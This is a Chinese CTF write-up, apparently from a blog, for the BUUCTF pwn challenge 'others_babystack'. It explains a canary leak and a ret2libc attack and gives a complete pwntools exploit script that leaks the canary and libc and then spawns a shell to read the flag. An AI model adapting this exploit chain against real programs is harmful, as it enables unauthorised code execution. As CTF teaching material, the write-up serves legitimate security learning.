首页 > 其他分享 >others_babystack

others_babystack

时间:2024-03-16 12:44:26浏览次数:25  
标签:p64 puts babystack canary io others addr

others_babystack

  • Canary 保护
  • 程序控制流
  • 64位libc泄露
bamuwe@bamuwe:~/done/others_babystack$ checksec babystack
[*] '/home/bamuwe/done/others_babystack/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序开启了Canary保护

image-20240127172338486

  1. 程序存在Canary保护,所以要先泄露出Canary
  2. read中存在溢出
  3. 通过read配合puts得到Canary的值
  4. 构造payload利用exit函数劫持程序流,泄露libc
  5. 构造payload得到shell
from pwn import *
from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
# io = gdb.debug('./babystack')
io = remote('node5.buuoj.cn',29522)
elf = ELF('./babystack')
padding = cyclic(136)
pop_rdi_ret = 0x0000000000400a93
main_addr = 0x400908

def cmd(idx):
    io.sendlineafter(b'>>',str(idx))
def leak_canry():
    cmd(1)
    io.sendline(padding)
    cmd(2)
    io.recvuntil('\n')
    canary = u64(io.recv(7).rjust(8, b'\x00'))
    print(hex(canary))
    return canary
def leak_puts(canary):
    cmd(1)
    payload = padding+p64(canary)+p64(0x0)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr)
    io.sendline(payload)
    cmd(3)
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print('puts_addr->',hex(puts_addr))
    return puts_addr
def pwn(puts_addr):
    libc = LibcSearcher('puts',puts_addr)
    lib_offset = puts_addr - libc.dump('puts')
    sys_addr = lib_offset+libc.dump('system')
    bin_sh_addr = lib_offset+libc.dump('str_bin_sh')
    payload = padding+p64(canary)+p64(0x0)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(sys_addr)
    cmd(1)
    io.sendline(payload)
    cmd(3)
    io.sendline('cat flag')
    io.interactive()

canary = leak_canry()
puts_addr = leak_puts(canary)
pwn(puts_addr)

这里面看佬的wp新学一招,使用cyclic(lengths)可以直接得到所需长度的循环字符串

标签:p64,puts,babystack,canary,io,others,addr
From: https://www.cnblogs.com/bamuwe/p/17991697

相关文章

  • 无涯教程-Java - boolean equalsIgnoreCase(String anotherString)函数
    此方法将此String与另一个String进行比较,而忽略大小写考虑。booleanequalsIgnoreCase-语法publicbooleanequalsIgnoreCase(StringanotherString)这是参数的详细信息-anotherString  - 与该字符串进行比较的字符串。booleanequalsIgnoreCase-返回值如果参数......
  • 无涯教程-Java - int compareTo(String anotherString)函数
    此方法按字典顺序比较两个字符串。intcompareTo-语法intcompareTo(StringanotherString)这是参数的详细信息-anotherString  - 要比较的字符串。intcompareTo-返回值如果两个字符串相等则值为0,如果大于则>0,小于则<0。intcompareTo-示例publicclassTes......
  • "Others"和"The others"在英语中的用法有所不同。 - "Others"是一个不定代词,用来指代
    "Others"和"Theothers"在英语中的用法有所不同。-"Others"是一个不定代词,用来指代一组中的其余人或事物,但并不特指哪些人或事物。例如,"Somepeopleliketoplayfootball,otherspreferbasketball."(有些人喜欢踢足球,其他人则更喜欢篮球)。-"Theothers"则是一个定代词,用来指......
  • 【Tomcat】解决tomcat创建文件和目录没有others权限问题
    最近公司有一个新的需求,就是用Java使用apachecommonexec执行ffmpeg进行ts文件切片。但是产生的切片文件总是没有others权限,导致无法使用http远程访问(做了反向代理)解决方案:在tomcat/bin目录下编辑catalina.sh文件查找umask=“0027”更改为umask=“0022”此时新生成的文件权限......
  • Others--Consul服务学习01
    服务器信息ConsulServer:172.16.188.208AppServer:172.16.188.209安装Consul在Consul服务器上执行:##下载wgethttps://releases.hashicorp.com/consul/1.15.3/consul_1.15.3_linux_amd64.zip##解压unzipconsul_1.15.3_linux_amd64.zip##创建目录mkdir......
  • 论文阅读 | Learn from Others and Be Yourself in Heterogeneous Federated Learning
    在异构联邦学习中博采众长做自己代码:https://paperswithcode.com/paper/learn-from-others-and-be-yourself-in摘要联邦学习中有异质性问题和灾难性遗忘。首先,由于非I.I.D(相同独立分布)数据和异构体系结构,模型在其他领域的性能下降,并且与参与者模型之间存在通信障碍。其次,在局......
  • leetcode 747. Largest Number At Least Twice of Others
    Inagivenintegerarraynums,thereisalwaysexactlyonelargestelement.Findwhetherthelargestelementinthearrayisatleasttwiceasmuchaseveryothernumberinthearray.Ifitis,returntheindexofthelargestelement,otherwisereturn-1.Ex......
  • MySQL Others--select @@tx_read_only 执行频率较高问题
    问题描述MySQLJDBCDriver在5.1.36以下的版本且数据库版本大于5.6.5,在每次update/insert/delete请求时,均会向后端数据库发送select@@tx_read_only命令,判断下当前会话的事务是否是只读。MySQLJDBCDriver在5.1.36以上,如果使用execute()而不是executeUpdate()方......
  • MySQL Others--优化autocommit会话参数设置请求
    问题描述在排查QPS较高的MySQL集群过程中发现,部分MySQL集群约50%的请求为"SETautocommit=1",每次业务请求前都会执行1次"SETautocommit=1"操作,虽然单次”SETautocommit=1“操作并不会消耗过多MySQL服务器资源,但高QPS场景下频繁执行"SETautocommit=1"操作,严重浪费应用服务器和M......
  • [BUUCTF]PWN-bjdctf_2020_babystack2
          这题比较简单,注意无符号字符串变为负数之后会发生溢出即可pro.symbols是输出函数地址的意思r.recvuntil的使用是接收到字符串为止,然后将接受的数据返回为什么会有两个payload是因为我想使用这种方式看看行不行为什么是0x10,是因为main函数里不能大于10......